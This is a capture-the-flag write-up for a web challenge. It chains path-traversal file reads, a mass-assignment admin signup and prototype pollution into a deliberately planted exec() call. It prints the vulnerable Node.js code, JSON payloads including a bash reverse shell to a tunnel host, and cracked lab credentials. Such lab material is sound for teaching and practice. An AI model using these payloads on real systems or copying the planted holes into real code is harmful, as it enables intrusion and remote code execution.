ChallengeWriteup

Day 11 Challenge Writeups

Cover Image for Day 11 Challenge Writeups
Team
Team

Vulnbydefault Day 11 Writeup

On opening the site we have given this site

image.png

Lets register a account

image.png

On dashboard we have given this interface

image.png

Flag 1

Lets check the source of this page

image.png

image.png

Image request has lfi lets check it using ffuf

intercept the request

image.png

Copy to file

image.png

Modify the file to make it according to ffuf format

image.png

ffuf -request images.req -request-proto http -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt

image.png

Lets check for /etc/passwd file

image.png

Now lets check for source

image.png

If we check the register endpoint

// Registration endpoint
app.post('/register', async (req, res) => {
  try {
    // Directly using all data from req.body without filtering
    const userData = req.body;
    
    if (!userData.username || !userData.password || !userData.email) {
      return res.render('register', { error: 'All fields are required' });
    }

    // Create new user with unfiltered data - vulnerable to mass assignment
    const user = new User(userData);
    console.log(user);
    await user.save();
    res.redirect('/login');
  } catch (err) {
    // Check for duplicate key error (e.g., username already exists)
    if (err.code === 11000) {
      res.render('register', { error: 'Username or email already exists' });
    } else {
      res.render('register', { error: err.message });
    }
  }
});

Lets check for User()

const User = require('./models/user');
/image?name=....//....//....//....//proc/self/cwd/models/user.js

image.png

so we can use isAdmin in register request and use mass assignment vulnerability

image.png

Admin user created

image.png

Flag 2

Admin panel interface

image.png

Lets review source code of login endpoint

// login endpoint
app.post('/login', async (req, res) => {
  const credentials = req.body;
  
  try {
    const hashedPassword = crypto
      .createHash('sha256')
      .update(credentials.password)
      .digest('hex');
    const userQuery = {
      username: credentials.username
    };
    const user = await User.findOne(userQuery);
    mergeUtils.merge(userQuery, credentials);
    
    console.log('Login attempt with query:', userQuery);

    console.log('Found user:', user);
    
    if (user && user.password === hashedPassword) {
      req.session.user = {};
      mergeUtils.merge(req.session.user, user.toObject());
      
      console.log('Session user after merge:', req.session.user);

      // Add command execution here
      if (req.session.user.cmd) {
        exec(req.session.user.cmd, (error, stdout, stderr) => {
          if (error) {
            console.error('Exec error:', error);
            return res.status(500).json({ error: error.message });
          }
          return res.json({ 
            success: true,
            output: stdout,
            user: req.session.user 
          });
        });
        return;
      }

      if (req.is('json')) {
        return res.json({ 
          success: true, 
          user: req.session.user 
        });
      }
      return res.redirect('/');
    }

    if (req.is('json')) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }
    res.render('login', { error: 'Invalid credentials' });
  } catch (err) {
    console.error('Login error:', err); // Debug log
    if (req.is('json')) {
      return res.status(500).json({ error: err.message });
    }
    res.render('login', { error: err.message });
  }
});

In source code we can check that its using merge function with user data

mergeUtils.merge(userQuery, credentials);

This give us idea of prototype pollution

I have added this stuff to make it easy for remote code execution

// Add command execution here
      if (req.session.user.cmd) {
        exec(req.session.user.cmd, (error, stdout, stderr) => {
          if (error) {
            console.error('Exec error:', error);
            return res.status(500).json({ error: error.message });
          }
          return res.json({ 
            success: true,
            output: stdout,
            user: req.session.user 
          });
        });
        return;
      }

We should have cmd in our session we would use prototype pollution to achieve that stuff

{
	"username":"Sulitech",
	"password":"123",
	"__proto__":   {
		"cmd":"sleep 5"
	}
}

image.png

we can see that our payload got executed

Lets make payload for reverse shell

{"username":"Suiltech","password":"123",
"__proto__":{
"shell":true,
"cmd":"bash -c 'bash -i >& /dev/tcp/ngrokip/port 0>&1'"
}}

image.png

image.png

27017 is related to mongodb

Lets check it using mongosh

image.png

Flag 3

image.png

Lets check users collection

image.png

af1022408720d04585c29839ff403feb840856701b4a71bff7dad6308c984ff8

go to hashes.com

image.png

user.txt

developer:spongebobsquarepants

image.png

Lets check the crontab for user

image.png

root.txt

we have got root password

root:r00tm3ikn0wy0uc4n

image.png

Summary

  • get lfi from images endpoint
  • review source code of register
  • use mass assignment to get admin
  • check login endpoint it has merge function used
  • prototype pollution and end goal is to make cmd in session
  • check mongodb for developer password
  • check crontab of developer to get root password